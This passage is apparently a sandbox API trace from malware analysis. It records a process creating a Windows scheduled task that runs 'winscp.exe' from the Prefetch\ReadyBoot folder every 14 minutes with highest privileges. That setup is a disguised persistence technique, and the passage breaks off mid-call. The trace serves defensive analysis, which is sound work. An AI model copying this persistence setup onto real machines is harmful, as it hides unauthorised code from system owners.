[0080.198] lstrlenW (lpString="f") returned 1 [0080.198] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.198] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sc|") returned 4 [0080.198] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.198] lstrlenW (lpString="|sc|") returned 4 [0080.198] lstrlenW (lpString="|f|") returned 3 [0080.199] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0080.199] SetLastError (dwErrCode=0x490) [0080.199] lstrlenW (lpString="mo") returned 2 [0080.199] lstrlenW (lpString="mo") returned 2 [0080.199] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.199] lstrlenW (lpString="f") returned 1 [0080.199] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.199] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|mo|") returned 4 [0080.199] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.199] lstrlenW (lpString="|mo|") returned 4 [0080.199] lstrlenW (lpString="|f|") returned 3 [0080.199] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0080.199] SetLastError (dwErrCode=0x490) [0080.199] lstrlenW (lpString="d") returned 1 [0080.199] lstrlenW (lpString="d") returned 1 [0080.199] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.199] lstrlenW (lpString="f") returned 1 [0080.199] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.199] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|d|") returned 3 [0080.199] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.199] lstrlenW (lpString="|d|") returned 3 [0080.199] lstrlenW (lpString="|f|") returned 3 [0080.199] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0080.199] SetLastError (dwErrCode=0x490) [0080.199] lstrlenW (lpString="m") returned 1 [0080.199] lstrlenW (lpString="m") returned 1 [0080.200] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.200] lstrlenW (lpString="f") returned 1 [0080.200] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.200] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|m|") returned 3 [0080.200] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.200] lstrlenW (lpString="|m|") returned 3 [0080.200] lstrlenW (lpString="|f|") returned 3 [0080.200] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0080.200] SetLastError (dwErrCode=0x490) [0080.200] lstrlenW (lpString="i") returned 1 [0080.200] lstrlenW (lpString="i") returned 1 [0080.200] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.200] lstrlenW (lpString="f") returned 1 [0080.200] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.200] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|i|") returned 3 [0080.200] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.200] lstrlenW (lpString="|i|") returned 3 [0080.200] lstrlenW (lpString="|f|") returned 3 [0080.200] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0080.200] SetLastError (dwErrCode=0x490) [0080.200] lstrlenW (lpString="tn") returned 2 [0080.200] lstrlenW (lpString="tn") returned 2 [0080.200] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.200] lstrlenW (lpString="f") returned 1 [0080.200] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.200] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tn|") returned 4 [0080.201] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.201] lstrlenW (lpString="|tn|") returned 4 [0080.201] lstrlenW (lpString="|f|") returned 3 [0080.201] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0080.201] SetLastError (dwErrCode=0x490) [0080.201] lstrlenW (lpString="tr") returned 2 [0080.201] lstrlenW (lpString="tr") returned 2 [0080.201] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.201] lstrlenW (lpString="f") returned 1 [0080.201] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.201] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|tr|") returned 4 [0080.201] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.201] lstrlenW (lpString="|tr|") returned 4 [0080.201] lstrlenW (lpString="|f|") returned 3 [0080.201] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0080.201] SetLastError (dwErrCode=0x490) [0080.201] lstrlenW (lpString="st") returned 2 [0080.201] lstrlenW (lpString="st") returned 2 [0080.201] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.201] lstrlenW (lpString="f") returned 1 [0080.201] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.201] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|st|") returned 4 [0080.201] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.201] lstrlenW (lpString="|st|") returned 4 [0080.201] lstrlenW (lpString="|f|") returned 3 [0080.201] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0080.202] SetLastError (dwErrCode=0x490) [0080.202] lstrlenW (lpString="sd") returned 2 [0080.202] lstrlenW (lpString="sd") returned 2 [0080.202] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.202] lstrlenW (lpString="f") returned 1 [0080.202] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.202] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|sd|") returned 4 [0080.202] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.202] lstrlenW (lpString="|sd|") returned 4 [0080.202] lstrlenW (lpString="|f|") returned 3 [0080.202] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0080.202] SetLastError (dwErrCode=0x490) [0080.202] lstrlenW (lpString="ed") returned 2 [0080.202] lstrlenW (lpString="ed") returned 2 [0080.202] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.202] lstrlenW (lpString="f") returned 1 [0080.202] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.202] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|ed|") returned 4 [0080.202] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.202] lstrlenW (lpString="|ed|") returned 4 [0080.202] lstrlenW (lpString="|f|") returned 3 [0080.202] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0080.202] SetLastError (dwErrCode=0x490) [0080.202] lstrlenW (lpString="it") returned 2 [0080.202] lstrlenW (lpString="it") returned 2 [0080.203] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.203] lstrlenW (lpString="f") returned 1 [0080.203] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.203] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|it|") returned 4 [0080.203] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.203] lstrlenW (lpString="|it|") returned 4 [0080.203] lstrlenW (lpString="|f|") returned 3 [0080.203] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0080.203] SetLastError (dwErrCode=0x490) [0080.203] lstrlenW (lpString="et") returned 2 [0080.203] lstrlenW (lpString="et") returned 2 [0080.203] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.203] lstrlenW (lpString="f") returned 1 [0080.203] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.203] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|et|") returned 4 [0080.203] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.203] lstrlenW (lpString="|et|") returned 4 [0080.203] lstrlenW (lpString="|f|") returned 3 [0080.203] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0080.203] SetLastError (dwErrCode=0x490) [0080.203] lstrlenW (lpString="k") returned 1 [0080.203] lstrlenW (lpString="k") returned 1 [0080.203] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.203] lstrlenW (lpString="f") returned 1 [0080.203] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.203] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|k|") returned 3 [0080.204] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.204] lstrlenW (lpString="|k|") returned 3 [0080.204] lstrlenW (lpString="|f|") returned 3 [0080.204] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0080.204] SetLastError (dwErrCode=0x490) [0080.204] lstrlenW (lpString="du") returned 2 [0080.204] lstrlenW (lpString="du") returned 2 [0080.204] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.204] lstrlenW (lpString="f") returned 1 [0080.204] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.204] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|du|") returned 4 [0080.204] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.204] lstrlenW (lpString="|du|") returned 4 [0080.204] lstrlenW (lpString="|f|") returned 3 [0080.204] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0080.204] SetLastError (dwErrCode=0x490) [0080.204] lstrlenW (lpString="ri") returned 2 [0080.204] lstrlenW (lpString="ri") returned 2 [0080.204] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.204] lstrlenW (lpString="f") returned 1 [0080.204] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.204] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|ri|") returned 4 [0080.204] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.205] lstrlenW (lpString="|ri|") returned 4 [0080.205] lstrlenW (lpString="|f|") returned 3 [0080.205] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0080.205] SetLastError (dwErrCode=0x490) [0080.205] lstrlenW (lpString="z") returned 1 [0080.205] lstrlenW (lpString="z") returned 1 [0080.205] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.205] lstrlenW (lpString="f") returned 1 [0080.205] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.205] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|z|") returned 3 [0080.205] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.205] lstrlenW (lpString="|z|") returned 3 [0080.205] lstrlenW (lpString="|f|") returned 3 [0080.205] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0080.205] SetLastError (dwErrCode=0x490) [0080.205] lstrlenW (lpString="f") returned 1 [0080.205] lstrlenW (lpString="f") returned 1 [0080.205] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.205] lstrlenW (lpString="f") returned 1 [0080.205] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.205] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.205] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c448 | out: _Buffer="|f|") returned 3 [0080.205] lstrlenW (lpString="|f|") returned 3 [0080.205] lstrlenW (lpString="|f|") returned 3 [0080.205] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0080.205] SetLastError (dwErrCode=0x0) [0080.206] SetLastError (dwErrCode=0x0) [0080.206] GetProcessHeap () returned 0x1d0000 [0080.206] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1eced0 [0080.206] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.206] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0080.206] lstrlenW (lpString="LIMITED") returned 7 [0080.206] GetProcessHeap () returned 0x1d0000 [0080.206] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x10) returned 0x1ed6c0 [0080.206] GetThreadLocale () returned 0x409 [0080.206] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0080.206] GetProcessHeap () returned 0x1d0000 [0080.206] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecea0 [0080.206] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.206] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0080.206] lstrlenW (lpString="HIGHEST") returned 7 [0080.206] GetProcessHeap () returned 0x1d0000 [0080.206] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x10) returned 0x1ed6e0 [0080.206] GetThreadLocale () returned 0x409 [0080.206] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0080.206] GetProcessHeap () returned 0x1d0000 [0080.207] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ece70 [0080.207] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.207] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0080.207] lstrlenW (lpString="MINUTE") returned 6 [0080.207] GetProcessHeap () returned 0x1d0000 [0080.207] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ed700 [0080.207] GetThreadLocale () returned 0x409 [0080.207] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0080.207] SetLastError (dwErrCode=0x0) [0080.207] GetProcessHeap () returned 0x1d0000 [0080.207] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x1fc) returned 0x1ec4b0 [0080.207] GetProcessHeap () returned 0x1d0000 [0080.207] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ece40 [0080.207] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.207] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0080.207] lstrlenW (lpString="First") returned 5 [0080.207] GetProcessHeap () returned 0x1d0000 [0080.214] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xc) returned 0x1ed720 [0080.214] GetProcessHeap () returned 0x1d0000 [0080.215] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ece10 [0080.215] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.215] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0080.215] lstrlenW (lpString="Second") returned 6 [0080.215] GetProcessHeap () returned 0x1d0000 [0080.215] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ed740 [0080.215] GetProcessHeap () returned 0x1d0000 [0080.215] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecde0 [0080.215] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.215] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0080.215] lstrlenW (lpString="Third") returned 5 [0080.215] GetProcessHeap () returned 0x1d0000 [0080.215] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xc) returned 0x1ed760 [0080.215] GetProcessHeap () returned 0x1d0000 [0080.215] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecdb0 [0080.215] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.215] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0080.215] lstrlenW (lpString="Fourth") returned 6 [0080.215] GetProcessHeap () returned 0x1d0000 [0080.215] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ed780 [0080.215] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.216] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0080.216] lstrlenW (lpString="Last") returned 4 [0080.216] GetProcessHeap () returned 0x1d0000 [0080.216] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xa) returned 0x1ed7a0 [0080.216] lstrlenW (lpString="14") returned 2 [0080.216] _wtol (_String="14") returned 14 [0080.216] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.216] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0080.216] lstrlenW (lpString="First") returned 5 [0080.216] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.216] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0080.216] lstrlenW (lpString="Second") returned 6 [0080.216] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.216] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0080.216] lstrlenW (lpString="Third") returned 5 [0080.216] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.216] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0080.216] lstrlenW (lpString="Fourth") returned 6 [0080.216] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.216] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0080.216] lstrlenW (lpString="Last") returned 4 [0080.217] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x17c2c0, cchData=128 | out: lpLCData="0") returned 2 [0080.217] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.217] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0080.217] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0080.217] GetProcessHeap () returned 0x1d0000 [0080.217] GetProcessHeap () returned 0x1d0000 [0080.217] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed720) returned 1 [0080.217] GetProcessHeap () returned 0x1d0000 [0080.217] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed720) returned 0xc [0080.217] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed720 | out: hHeap=0x1d0000) returned 1 [0080.217] GetProcessHeap () returned 0x1d0000 [0080.217] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x16) returned 0x1ed720 [0080.217] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x17c2e0, cchData=128 | out: lpLCData="0") returned 2 [0080.217] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.217] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0080.217] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0080.217] GetProcessHeap () returned 0x1d0000 [0080.217] GetProcessHeap () returned 0x1d0000 [0080.217] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed740) returned 1 [0080.217] GetProcessHeap () returned 0x1d0000 [0080.217] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed740) returned 0xe [0080.218] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed740 | out: hHeap=0x1d0000) returned 1 [0080.218] GetProcessHeap () returned 0x1d0000 [0080.218] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x16) returned 0x1ed740 [0080.218] GetLocalTime (in: lpSystemTime=0x17c510 | out: lpSystemTime=0x17c510*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x4, wMilliseconds=0x240)) [0080.218] lstrlenW (lpString="") returned 0 [0080.218] GetLocalTime (in: lpSystemTime=0x17cdc8 | out: lpSystemTime=0x17cdc8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x4, wMilliseconds=0x240)) [0080.218] lstrlenW (lpString="") returned 0 [0080.218] lstrlenW (lpString="") returned 0 [0080.218] lstrlenW (lpString="") returned 0 [0080.218] lstrlenW (lpString="") returned 0 [0080.218] lstrlenW (lpString="14") returned 2 [0080.218] _wtol (_String="14") returned 14 [0080.218] lstrlenW (lpString="") returned 0 [0080.218] lstrlenW (lpString="") returned 0 [0080.218] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0080.238] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0080.277] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x17cb90 | out: ppv=0x17cb90*=0x2ddee0) returned 0x0 [0080.289] TaskScheduler:ITaskService:Connect (This=0x2ddee0, serverName=0x17cc70*(varType=0x8, wReserved1=0x17, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x17cc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x17cc50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x17cc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0080.305] TaskScheduler:IUnknown:AddRef (This=0x2ddee0) returned 0x2 [0080.305] TaskScheduler:ITaskService:GetFolder (in: This=0x2ddee0, Path=0x0, ppFolder=0x17cd28 | out: ppFolder=0x17cd28*=0x427d70) returned 0x0 [0080.437] TaskScheduler:ITaskService:NewTask (in: This=0x2ddee0, flags=0x0, ppDefinition=0x17cd20 | out: ppDefinition=0x17cd20*=0x427dc0) returned 0x0 [0080.438] ITaskDefinition:get_Actions (in: This=0x427dc0, ppActions=0x17cca0 | out: ppActions=0x17cca0*=0x427e80) returned 0x0 [0080.438] IActionCollection:Create (in: This=0x427e80, Type=0, ppAction=0x17ccc0 | out: ppAction=0x17ccc0*=0x426610) returned 0x0 [0080.438] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.438] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.438] lstrlenW (lpString=" ") returned 1 [0080.438] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0080.438] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0080.438] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0080.438] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0080.438] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0080.438] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0080.438] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0080.438] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0080.439] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0080.439] StrChrW 